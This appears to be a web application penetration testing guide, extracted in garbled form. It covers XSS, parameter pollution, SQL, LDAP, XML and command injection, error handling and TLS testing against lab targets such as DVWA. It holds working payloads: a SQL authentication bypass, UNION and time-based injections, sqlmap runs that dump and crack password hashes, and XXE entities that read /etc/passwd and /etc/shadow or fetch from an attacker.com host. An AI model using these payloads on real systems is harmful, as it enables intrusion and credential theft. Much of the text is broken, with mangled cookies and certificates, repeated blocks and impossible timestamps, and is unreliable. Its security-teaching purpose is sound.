Cross Site Scripting (XSS) testing checks if it is possible to manipulate the input parameters of the application so that it generates malicious output. Testers find an XSS vulnerability when the application does not validate their input and creates an output that is under their control. This vulnerability leads to various attacks, for example, stealing confidential information (such as session cookies) or taking control of the victim's browser. An XSS attack breaks the following pattern: Input -> Output == cross-site scripting.

1. Testing for Reflected Cross Site Scripting

Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

How to Test
• Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values.

• Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually.

• For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML.

Example

• In this case, in first step, we need to detecting all input vectors which can affected by XSS, such as input field or any URL's parameters.
- Generate testing data with fuzzer or manually.

- Analyze the results
Bypass XSS filter

Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may
be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

References this link for more information

- https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Example

- Pentester can open and review page source to analyze source code for filtering XSS mechanism
2. Testing for Stored Cross Site Scripting

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application.
How to Test

Input Forms

- The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:
  - User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc
  - Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
  - File Manager: application that allows upload of files
  - Application settings/preferences: application that allows the user to set preferences
  - Forum/Message board: application that permits exchange of posts among users
  - Blog: if the blog application permits to users submitting comments
  - Log: if the application stores some users input into logs.

Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out-of-band channels through which the application receives and stores users input.

Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.

Example
Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook

Name: test
Message: This is a test comment.

Name: Peter Winter
Message: 

HTTP/1.1 200 OK
Date: Sat, 24 Mar 2018 14:49:11 GMT
Server: Apache/2.4.18 (Debian)
Content-Length: 84
Strict-Transport-Security: max-age=604800
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/html

POST /dvwa/vulnerabilities/xss_putchar HTTP/1.1
Host: 192.168.1.40
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.1.40/dvwa/vulnerabilities/xss_putchar
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Cookie: security_level=HR38S18H-6b108e544b17391f1d506678e; aspnetdivbaz=winget_jets; phpMyC; cat=1; aspnetWebForms=msie6; aspnet.assertInsecure=true
Connection: close
Opera-Database-Components: 1

[Web Application Penetration Testing] March 1, 2018

115
//Some XSS exploit demo

//Xenotic tools, xsstrike, automate scanner

3. Testing for HTTP Verb Tampering

References: Configuration and Deployment Management Testing - Test HTTP Methods

4. Testing for HTTP Parameter pollution

Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short HPP) affects a building block of all web technologies, server and client side attacks exist.

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. By itself, this is not necessarily an indication of vulnerability. However, if the developer is not aware of the problem, the presence of duplicated parameters may produce an anomalous behavior in the application that can be potentially exploited by an attacker. As often in security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the outcome of HPP attacks, it is interesting to analyze some real-life examples that have been discovered in the past.

How To Test
A more in-depth analysis would require three HTTP requests for each HTTP parameter:

- Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. page?par1=val1
- Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. page?par1=HPP_TEST1
- Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. page?par1=val1&par1=HPP_TEST1
- Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.
- Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See the references for examples and details.

Example
### HTTP Parameter Pollution

Hello Cloud, please vote for your favorite movie.

Remember, Tony Stark wants to win every time...

<table>
<thead>
<tr>
<th>Title</th>
<th>Release</th>
<th>Character</th>
<th>Genre</th>
<th>Vote</th>
</tr>
</thead>
<tbody>
<tr>
<td>G.I. Joe: Retaliation</td>
<td>2013</td>
<td>Cobra Commander</td>
<td>action</td>
<td>Vote</td>
</tr>
<tr>
<td>Iron Man</td>
<td>2008</td>
<td>Tony Stark</td>
<td>action</td>
<td>Vote</td>
</tr>
<tr>
<td>Man of Steel</td>
<td>2013</td>
<td>Clark Kent</td>
<td>action</td>
<td>Vote</td>
</tr>
</tbody>
</table>
register with name: cloud\&movie=3 and vote for movie with id=1
5. Testing for SQL Injection

An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

Authentication Bypass
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

$username = 'cloud'
$password = '1' or '1' = '1'

The query will be:

SELECT * FROM Users WHERE Username='cloud' AND Password='1' OR '1' = '1'

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.
Error-Based SQL Injection
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).
WEB APPLICATION PENETRATION TESTING

March 1, 2018

Request

```http
GET /vulnerabilities/sql/?id=145&submit HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

- View Source

User ID:

First name: admin
Surname: admin

---

Request

```http
GET /vulnerabilities/sql/?id=145&submit HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

- View Source

User ID:

---

Request

```http
GET /vulnerabilities/sql/?id=420&submit HTTP/1.1
Host: 127.105.1.40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

Response

- View Source

...
WEB APPLICATION PENETRATION TESTING

---

**Request**

```
GET /vulnerabilities/sqli?id=1'UNION%20SELECT%20null%2Cdatabase()%2Cuser%2Cversion()%2C%20os%20info%3E%3D0 HTTP/1.1
Host: 192.168.1.40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close

Upgrade-Insecure-Requests: 1
```

---

**Response**

```
HTTP/1.1 200 OK
Content-Type: text/html

User ID:

ID: '1 union select null,database()'#
First name: admin
Surname: admin
ID: '1 union select null,database()'#
First name: admin
Surname: dvwa
```

---

**Request**

```
GET /vulnerabilities/sqli?id=1'UNION%20SELECT%20null%2Cdatabase()%2Cuser%2Cversion()%2C%20os%20info%3E%3D0 HTTP/1.1
Host: 192.168.1.40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close

Upgrade-Insecure-Requests: 1
```

---

**Response**

```
HTTP/1.1 200 OK
Content-Type: text/html

User ID:

ID: '1 union select null,database()'#
First name: admin
Surname: admin
ID: '1 union select null,database()'#
First name: admin
Surname: dvwa
```

---

**Request**

```
GET /vulnerabilities/sqli?id=1'UNION%20SELECT%20null%2Cdatabase()%2Cuser%2Cversion()%2C%20os%20info%3E%3D0 HTTP/1.1
Host: 192.168.1.40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close

Upgrade-Insecure-Requests: 1
```

---

**Response**

```
HTTP/1.1 200 OK
Content-Type: text/html

User ID:

ID: '1 union select null,database()'#
First name: admin
Surname: admin
ID: '1 union select null,database()'#
First name: admin
Surname: dvwa
```

---

128
Boolean-based SQLi

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. We will use the following pseudo-functions:

SUBSTRING (text, start, length) : returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

ASCII (char) : it gives back ASCII value of the input character. A null value is returned if char is 0.

LENGTH (text) : it gives back the number of characters in the input text.

Time-based SQLi

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product
Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. MySql 5.x):

http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’)--

In this example the tester is checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

[ legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:29:49

[10:29:49] [INFO] resuming back-end DBMS 'mysql'
[10:29:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)

Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 9399=9399 AND 'iWPS'='iWPS&Submit=Submit
The back-end DBMS is MySQL.

```bash
root@kali:~ $ sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli_blind/?id=16&Submit" --cookie="security=low; dbx-postmeta-grabit=0,-1,-2,-3,-4,-5,-6;&advanceds tuff=0,-1,-2,-3,-4,-5,-6;&security_level=0; remember_token=Stu37BryvLOCCPFswaD7x4g; PHPSESSID=gtavc d6hjpoqykpn2krbnn4v4u; acopendvldsv=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; JSESSIONID=35ABD887923A160D651E015022983BE" -D dvwa --tables
```

SQLmap found two tables:

- guestbook
- users

```bash
root@kali:~ $ sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sqli_blind/?id=16&Submit" --cookie="security=low; dbx-postmeta-grabit=0,-1,-2,-3,-4,-5,-6;&advanceds tuff=0,-1,-2,-3,-4,-5,-6;&security_level=0; remember_token=Stu37BryvLOCCPFswaD7x4g; PHPSESSID=gtavc d6hjpoqykpn2krbnn4v4u; acopendvldsv=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; JSESSIONID=35ABD887923A160D651E015022983BE" -T users --column
```

SQLmap output for 'users' table:

```bash
http://sqlmap.org
```
[10:32:44] [INFO] fetching columns for table 'users' in database 'dvwa'

Database: dvwa
Table: users
[6 columns]

<table>
<thead>
<tr>
<th>Column</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>user</td>
<td>varchar(15)</td>
</tr>
<tr>
<td>avatar</td>
<td>varchar(70)</td>
</tr>
<tr>
<td>first_name</td>
<td>varchar(15)</td>
</tr>
<tr>
<td>last_name</td>
<td>varchar(15)</td>
</tr>
<tr>
<td>password</td>
<td>varchar(32)</td>
</tr>
<tr>
<td>user_id</td>
<td>int(5)</td>
</tr>
</tbody>
</table>

root@kali:~# sqlmap -u "http://192.168.222.136/dvwa/vulnerabilities/sql Injection/?id=16Submit" --cookie="security=low; dbx-postmeta-grabit=6,-1,-2,3,4,-5,-6-advancedbs; tuff=0,-1,-2; security_level=0; remember_token=Stu375rVdLCCIPxSwad74xg4; PHPSESSID=graved6nhpqoqvknp2krbin4yu4; acrondvivid=swingset,lotto,phpbb2,redmine; acroupswithpersist=nada; JSESSIONID=35ADB87923A100D6511E915022983BE" -C user,password --dump

[10:33:47] [INFO] fetching entries of column(s) 'user', 'password' for table 'users' in database 'dvwa'

[10:33:47] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique

[10:33:47] [INFO] the SQL query used returns 6 entries

[10:33:47] [INFO] retrieved: "1337", "Bc5533d75aee2c3966d7e0d4f6e692165"

[10:33:47] [INFO] retrieved: "admin", "21232729725725a7438284a8e94881f33"

[10:33:47] [INFO] retrieved: "gordon", "ee9a10c428cb36dbf6096378922503"

[10:33:47] [INFO] retrieved: "pablo", "0c167d09f5b6e46a3e3d65c71e9e957"

[10:33:47] [INFO] retrieved: "smithy", "5f4ddc3b5aa765d81b8327e8b882c599f6"

[10:33:47] [INFO] retrieved: "user", "e01ccdb19952e4a8b87aac0ca0868c2300"

[10:33:47] [INFO] analyzing table dump for possible password hashes

[10:33:47] [INFO] recognized possible password hashes in column 'password'

Do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]? N

Do you want to crack them via a dictionary-based attack? [Y/n/q] Y

[10:33:59] [INFO] using hash method 'md5_generic_password'

What dictionary do you want to use?

- [1] default dictionary '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
- [2] custom dictionary file
- [3] file with list of dictionary files

> 1

[10:34:82] [INFO] using default dictionary

Do you want to use common password suffixes? (slow) [y/N] [10:34:87] [INFO] starting dictionary-based cracking (md5_generic_password)
6. Testing for LDAP Injection

The Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts, and many other objects. LDAP injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted. This is done by manipulating input parameters afterwards passed to internal search, add, and modify functions.

A web application could use LDAP in order to let users authenticate or search other users' information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.

Boolean conditions and group aggregations on an LDAP search filter could be applied by using the following metacharacters.

<table>
<thead>
<tr>
<th>Metachar</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>&amp;</td>
<td>Boolean AND</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>!</td>
<td>Boolean NOT</td>
</tr>
<tr>
<td>=</td>
<td>Equals</td>
</tr>
<tr>
<td>~=</td>
<td>Approx</td>
</tr>
<tr>
<td>&gt;=</td>
<td>Greater than</td>
</tr>
<tr>
<td>&lt;=</td>
<td>Less than</td>
</tr>
<tr>
<td>*</td>
<td>Any character</td>
</tr>
<tr>
<td>0</td>
<td>Grouping parenthesis</td>
</tr>
</tbody>
</table>

A successful exploitation of an LDAP injection vulnerability could allow the tester to:
- Access unauthorized content
- Evade application restrictions
- Gather unauthorized information
- Add or modify Objects inside LDAP tree structure

How to test

Example test: Login

Two inverse query resulted in different response.

Retest with Vulnerabilities Scanner
7. Testing for XML Injection

XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.

How to Test

Discovery: the first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.

XML metacharacters are:

- Single Quote: ’ – when not sanitized, this character could throw an exception during XML parsing, if the injected value is going to be part of an attribute value in a tag.
- Double Quote: ” – this character has same meaning as single quote and it could be used if the attribute value is enclosed in double quotes.
- Angular parentheses: > and <
• Comment tag: <!-- - this sequence of characters is interpreted as the beginning/end of a comment.

• Ampersand: & - the ampersand is used in the XML syntax to represent entities. The format of an entity is ‘&symbol’.

• CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are used to escape blocks of text containing characters which would otherwise be recognized as markup. In other words, characters enclosed in a CDATA section are not parsed by an XML parser.

During the processing, the CDATA section delimiters are eliminated, generating the xss code.

External Entity

The set of valid entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks, which can be used to perform denial of service of the local system, gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote system.

To test for XXE vulnerabilities, one can use the following input:

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]
><foo>&xxe;</foo>
```

This test could crash the web server (on a UNIX system), if the XML parser attempts to substitute the entity with the contents of the /dev/random file.

Other useful tests are the following:

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
```
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt">]><foo>&xxe;</foo>
8. Testing for XPath Injection

XPath is a language that has been designed and developed primarily to address parts of an XML document. XML databases that organize data using the XML language. XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as SQL injection attacks.

How to Test

- Refer: SQL injection Authentication Bypass

Test Example

The form below allows employees to see all their personal data including their salaries. Your account is Mike/test123. Your goal is to try to see other employees data as well.

In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

How to Test

- Using the query string, the tester can inject code to be processed as part of the included file
- Determine user input in execution function, try to enter commands into the Data input field

Test Example
PHP Code Injection

This is just a test page, reflecting back your message...

manhnho

PHP Version
5.3.2-ubuntu4.30

System: Linux centosbox 2.6.32-23-generie-cdots B44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 x86_64
Build Date: Apr 17 2015 15:01:49
Server API: Apache 2.0 Header
Virtual Directory Support: Disabled
Configuration File (php.ini) Path: /etc/php5/apache2
Loaded Configuration File: /etc/php5/apache2/php.ini
Scan this dir for additional .ini files:
Additional .ini files parsed:
PHP API: 20090626
PHP Extension: 20090626
Zend Extension: 20090626
Zend Extension Build: AP20090626, NTS
PHP Extension Build: AP20090626, NTS
Debug Build: No
Thread Safety: Disabled
10. Testing for Command Injection

OS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to exploit.

How to Test

- List all input of web interface
- Using special character below

**Special Characters for Command Injection**

The following special character can be used for command injection such as | ; & $ > < ` \!

- `cmd1|cmd2` : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.
- `cmd1;cmd2` : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
- `cmd1|cmd2` : Command 2 will only be executed if command 1 execution fails.
- `cmd1&cmd2` : Command 2 will only be executed if command 1 execution succeeds.
- `$cmd` : For example, echo `$whoami` or `$touch test.sh; echo 'ls' > test.sh`
- `<cmd>` : It's used to execute specific command. For example, `whoami`
- `>`(cmd) : `<(ls)`
- `<cmd>` : `>`(ls)

Test Example

![Command Injection Test Example](image-url)
Testing for Error Handling

1. Analysis of Error Codes

These codes are very useful to penetration testers during their activities because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.

How to Test

- Test 404 Not Found:
• Test 400 Bad Request:

Trying 192.168.222.136...
Connected to 192.168.222.136.
Escape character is '^]'.
GET / HTTP/1.1
<HTTP/1.1 400 Bad Request
Date: Wed, 07 Mar 2018 09:08:01 GMT
Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

<html><head></head><title>400 Bad Request<title></body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.</p></body></html>

Connection closed by foreign host.

• Test 405 Method not Allowed
- Test 408 Request Time out

```
root@kali:~ # telnet testphp.vulnweb.com 80
Trying 176.28.50.165...
Connected to testphp.vulnweb.com.
Escape character is '^]'.
PUT /index.html HTTP/1.1
Host: 176.28.50.165
<CRLF><CRLF>
HTTP/1.1 405 Not Allowed
Server: nginx/1.4.1
Date: Wed, 07 Mar 2018 09:32:55 GMT
Content-Type: text/html
Content-Length: 172
Connection: keep-alive

<html>
<head><title>405 Not Allowed</title></head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.4.1</center>
</body>
</html>
```

- Test 501 Method Not Implemented

```
telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
```

- Test enumeration of the directories with access denied
  - `http://<host>/dir`
  - Result: dir listing, not allow to be listed, forbidden or don’t have permission to access.
2. Analysis of Stack Traces

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. This information could then be used in further attacks.

How to Test

Some tests to try include:

- Invalid input (such as input that is not consistent with application logic)
- Input that contains non alphanumeric characters or query syntax
- Empty inputs
- Input that are too long
- Access to internal pages without authentication
- Bypassing application flow
Testing for weak Cryptography

1. SSL/TLS Testing

Testing SSL/TLS cipher specifications and requirements for site:

Black box testing: Detect possible of weak cipher, the ports associate to SSL/TLS must be defined. Typically include port 443 which standard https port.

- Nmap scanner via “-sV” scan option, is able to identify SSL services.

![Nmap scan result](image)

- Identifying SSL services and weak ciphers with Nessus.

<table>
<thead>
<tr>
<th>Port</th>
<th>Hosts</th>
</tr>
</thead>
<tbody>
<tr>
<td>443/tcp</td>
<td>google-gruyere.appspot.com</td>
</tr>
</tbody>
</table>
• Identifying weak cipher with https://www.ssllabs.com/projects/index.html


• Manually audit weak SSL cipher levels with openSSL
WEB APPLICATION PENETRATION TESTING

---

Certificate chain

---

BEGIN CERTIFICATE

MIIFNjCCBC6gAwIBAgIINpX8p4c4MtivQYXKoZiVhcNQAEiBQAwEDELMAkGA1UEBhMCVVMx
HJAcBgnVBAoTUDvb2dsZSBucnVzC2BTZ2J2aWNzczEiMCMwEAYXME
R29vZ2xlIExlUdgVybmbVIEF1dGhvcml6eSBhM2AeFw0XDAMTbMTYwOTU3MjdaFw0X
ODA8 NTMwOMQ2MDAwMS5xcAcABgNVBAYTAlVTMRMwEwYDVQQDDBAAQApZB95c0Aq
Rza395c39I3Y9w7w/shZ395c39I3Y9w7w/shZ395c39I3Y9w7w/shZ395c39I3Y9
nyw7e095c39I3Y9w7w/shZ395c39I3Y9w7w/shZ395c39I3Y9w7w/shZ395c39I3Y
---

Server certificate

-----END CERTIFICATE-----

No client certificate CA names sent
Peer signing digest: SHA256
White box testing: Check the configuration of the web servers which provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well.

Example:

- The registry path in windows defines the ciphers available to the server:
  - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SC HANNEL\Ciphers\

- Linux?

Testing SSL Certificate Validity – Client and Server

When accessing a web application via https protocol, a secure channel is established between client and server. The identify is digital certificates. In order for the communication to be setup, a number of checks on the certificates must be passed:

- Check the CA (Certificate Authority) is trusted
  - Each browser come with a preloaded list of trusted CAs, against which the certificate singing CA is compared.
- Check the certificate is currently valid
  - Certificate have an associated period of validity. Browser can warned this case.
- Check that name of site and name reported in the certificate match
If the name of the server and the certificate do not match, it might sound suspicious. A system may host a number of name-based virtual hosts, which share same IP address and are identified by means of the HTTP 1.1 host: header. In this case, since the SSL handshake checks the server certificate before HTTP request is processed, it is not possible to assign different certificates to each virtual server.

Black box testing:

- Using Browser such as FireFox

![Certificate error message](https://i.imgur.com/123ABC.png)

Your connection is not secure

The owner of 192.168.222.148 has configured their website improperly. To protect your information from being stolen, Firefox has not connected to this website.

Learn more...

- Report errors like this to help Mozilla identify and block malicious sites

192.168.222.148:8834 uses an invalid security certificate.

The certificate is only valid for ilak

Error code: SSL_ERROR_BAD_CERT_DOMAIN

The certificate will not be valid until (date)

The certificate will not be valid until date (...)

Error code: SEC_ERROR_EXPIRED_ISSUER_CERTIFICATE
The certificate expired on *(date)*

The certificate expired on *date (..)*

Error code: SEC_ERROR_EXPIRED_CERTIFICATE

The certificate is not trusted because the issuer certificate is unknown

The certificate is not trusted because the issuer certificate is unknown.
The server might not be sending the appropriate intermediate certificates.
An additional root certificate may need to be imported.

Error code: SEC_ERROR_UNKNOWN_ISSUER

The certificate is not trusted because it is self-signed

The certificate is not trusted because it is self-signed.

Error code: SEC_ERROR_UNKNOWN_ISSUER

The certificate is only valid for *(site name)*

example.com uses an invalid security certificate.

The certificate is only valid for the following names: www.example.com, *.example.com

Error code: SSL_ERROR_BAD_CERT_DOMAIN

More at: https://support.mozilla.org/en-US/kb/what-does-your-connection-is-not-secure-mean#w_the-certificate-will-not-be-valid-until-date
2. Testing for Padding Oracle

A padding oracle is a function of an application which decrypts encrypted data provided by the client, e.g. internal session state stored on the client, and leaks the state of the validity of the padding after decryption. The existence of a padding oracle allows an attacker to decrypt encrypted data and encrypt arbitrary data without knowledge of the key used for these cryptographic operations.

Block ciphers encrypt data only in blocks of certain sizes. Block sizes used by common ciphers are 8 and 16 bytes. Data where the size doesn’t match a multiple of the block size of the used cipher has to be padded in a specific manner so the decryptor is able to strip the padding. A commonly used padding scheme is PKCS 7. It fills the remaining bytes with the value of the padding length.

Example

If the padding has the length of 5 bytes, the byte value 0x05 is repeated five times after the plain text.

Certain modes of operation of cryptography allow bit-flipping attacks, where flipping of a bit in the cipher text causes that the bit is also flipped in the plain text. Flipping a bit in the n-th block of CBC encrypted data causes that the same bit in the (n+1)-th block is flipped in the decrypted data. The n-th block of the decrypted cipher text is garbaged by this manipulation.

How to Test

Use below tools to testing this case

- PadBuster - https://github.com/GDSSecurity/PadBuster
- python-paddingoracle - https://github.com/mwielgoszewski/python-paddingoracle
- Poracle - https://github.com/iagox86/Poracle Padding
- Oracle Exploitation Tool (POET) - http://netifera.com/research/

Test Example

![Web Application Penetration Testing](image)

- Username: cloud
- Password: ****
- Password (again): ****

![Register Form](image)
Padding Oracle

Welcome to the PenetrationLab's exercise on Padding Oracle.

The objective of this exercise is to find a way to get logged in as the user "admin".

You are currently logged in as cloud!
Block 2 Results:
[-] Cipher Text (HEX): bca297f97a7a6562
